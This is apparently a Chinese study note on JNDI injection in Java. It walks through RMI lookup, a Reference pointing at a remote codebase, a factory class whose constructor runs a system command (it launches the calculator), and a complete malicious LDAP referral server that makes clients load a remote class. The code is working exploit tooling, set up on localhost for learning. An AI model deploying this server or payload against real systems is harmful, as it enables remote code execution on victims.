JNDI - wele

0x01 JNDI#

为命名与目录服务访问层设计的一套标准接口，使得 Java 应用以统一的方式管理和查找外部资源，主要通过 lookup 方法查找资源，rebind bind 方法发布资源。

0x02 RMI#

首先实现以下 RemoteObj RemoteObjImpl

1
package com.wsh.JNDI;
2

3
import java.rmi.Remote;
4
import java.rmi.RemoteException;
5

6
public interface RemoteObj extends Remote {
7
    public String hello(String str)  throws RemoteException;
8
}
9

10
package com.wsh.JNDI;
11

12
import java.rmi.RemoteException;
13
import java.rmi.server.UnicastRemoteObject;
14

15
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
16
    public RemoteObjImpl() throws RemoteException {
17
        super();
18
    }
19
    @Override
20
    public String hello(String str) throws RemoteException {
21
        System.out.println("[+] 远程方法被调用");
22
        String result = "hello";
23
        return result+str;
24
    }
25
}

然后发布资源，通过 lookup 调用相应资源

1
package com.wsh.JNDI;
2

3
import javax.naming.InitialContext;
4
import javax.naming.NamingException;
5
import javax.naming.Reference;
6
import java.rmi.RemoteException;
7
import java.rmi.registry.LocateRegistry;
8
import java.rmi.registry.Registry;
9

10
public class JNDIServer {
11
    public static void main(String[] args) throws NamingException, RemoteException {
12
        InitialContext ctx = new InitialContext();
13
        Registry registry = LocateRegistry.createRegistry(1099);
14
        ctx.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
15
    }
16
}
17

18
package com.wsh.JNDI;
19

20
import javax.naming.InitialContext;
21
import javax.naming.NamingException;
22
import java.rmi.RemoteException;
23

24
public class JNDIClient {
25
    public static void main(String[] args) throws NamingException, RemoteException {
26
        InitialContext ctx = new InitialContext();
27
        RemoteObj remoteObj = (RemoteObj) ctx.lookup("rmi://localhost:1099/remoteObj");
28
    }
29
}

这里，如果 server 端绑定的是一个 Reference 对象，那么 client 端通过 lookup 获取到一个 Reference 对象，对其进行解析，并去指定 codebase 地址获取相应资源通过工厂类来实例化指定的 className

我们在 server 端设置相应的 ref 对象,然后发起 jndi 请求。

1
Reference ref = new Reference("com.wsh.JNDI.Calc","com.wsh.JNDI.Calc","http://localhost:5377/");
2
ctx.rebind("rmi://localhost:1099/remoteObj",ref);

调试跟进，

判断是否为 Rference 对象,然后转换类型

继续跟进，通过 loadClass 加载类,然后实例化，触发构造函数，弹出计算器

1
package com.wsh.JNDI;
2

3
import javax.naming.Context;
4
import javax.naming.Name;
5
import javax.naming.spi.ObjectFactory;
6
import java.io.IOException;
7
import java.util.Hashtable;
8

9
public class Calc implements ObjectFactory {
10
    public Calc() throws IOException {
11
        Runtime.getRuntime().exec("open -a Calculator");
12
    }
13
    @Override
14
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
15
                                    Hashtable<?, ?> environment) throws Exception {
16
        return null;
17
    }
18
}

跟进后是 urlClassloader 加载

0x03 LDAP#

LDAP 服务，通过拦截器将返回内容设置为对象工厂所在的 codebase ，后续走 urlClassloader 加载类，高版本下不能加载远程类，也可以将其设只为可利用类的 path

1
package com.wsh.JNDI;
2

3
import java.net.InetAddress;
4
import java.net.MalformedURLException;
5
import java.net.URL;
6
import javax.net.ServerSocketFactory;
7
import javax.net.SocketFactory;
8
import javax.net.ssl.SSLSocketFactory;
9
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
10
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
11
import com.unboundid.ldap.listener.InMemoryListenerConfig;
12
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
13
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
14
import com.unboundid.ldap.sdk.Entry;
15
import com.unboundid.ldap.sdk.LDAPException;
16
import com.unboundid.ldap.sdk.LDAPResult;
17
import com.unboundid.ldap.sdk.ResultCode;
18

19
public class LDAPRefServer {
20

21
    private static final String LDAP_BASE = "dc=wsh.JNDI,dc=com";
22
    private static final String EXPLOIT_CLASS_URL = "http://127.0.0.1:7777/#Calc_";
23

24
    public static void main(String[] args) {
25
        int port = 7778;
26
        try {
27
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
28
            config.setListenerConfigs(new InMemoryListenerConfig(
29
                    "listen",
30
                    InetAddress.getByName("0.0.0.0"),
31
                    port,
32
                    ServerSocketFactory.getDefault(),
33
                    SocketFactory.getDefault(),
34
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
35

36
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
37
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
38
            System.out.println("Listening on 0.0.0.0:" + port);
39
            ds.startListening();
40

41
        } catch (Exception e) {
42
            e.printStackTrace();
43
        }
44
    }
45

46
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
47

48
        private URL codebase;
49
        public OperationInterceptor(URL cb) {
50
            this.codebase = cb;
51
        }
52

53
        @Override
54
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
55
            String base = result.getRequest().getBaseDN();
56
            Entry e = new Entry(base);
57
            try {
58
                sendResult(result, base, e);
59
            } catch (Exception e1) {
60
                e1.printStackTrace();
61
            }
62

63
        }
64

65
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
66
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
67
            System.out.println("Send LDAP reference result for" + base + " redirecting to " + turl);
68
            e.addAttribute("javaClassName", "Calc_");
69
            String cbstring = this.codebase.toString();
70
            int refPos = cbstring.indexOf('#');
71
            if (refPos > 0) {
72
                cbstring = cbstring.substring(0, refPos);
73
            }
74
            e.addAttribute("javaCodeBase", cbstring);
75
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
76
            e.addAttribute("javaFactory", this.codebase.getRef());
77
            // JNDI 收到 LDAP 响应时，会解析这些属性并构建 Reference 对象：
78
            result.sendSearchEntry(e);
79
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
80
        }
81

82
    }
83
}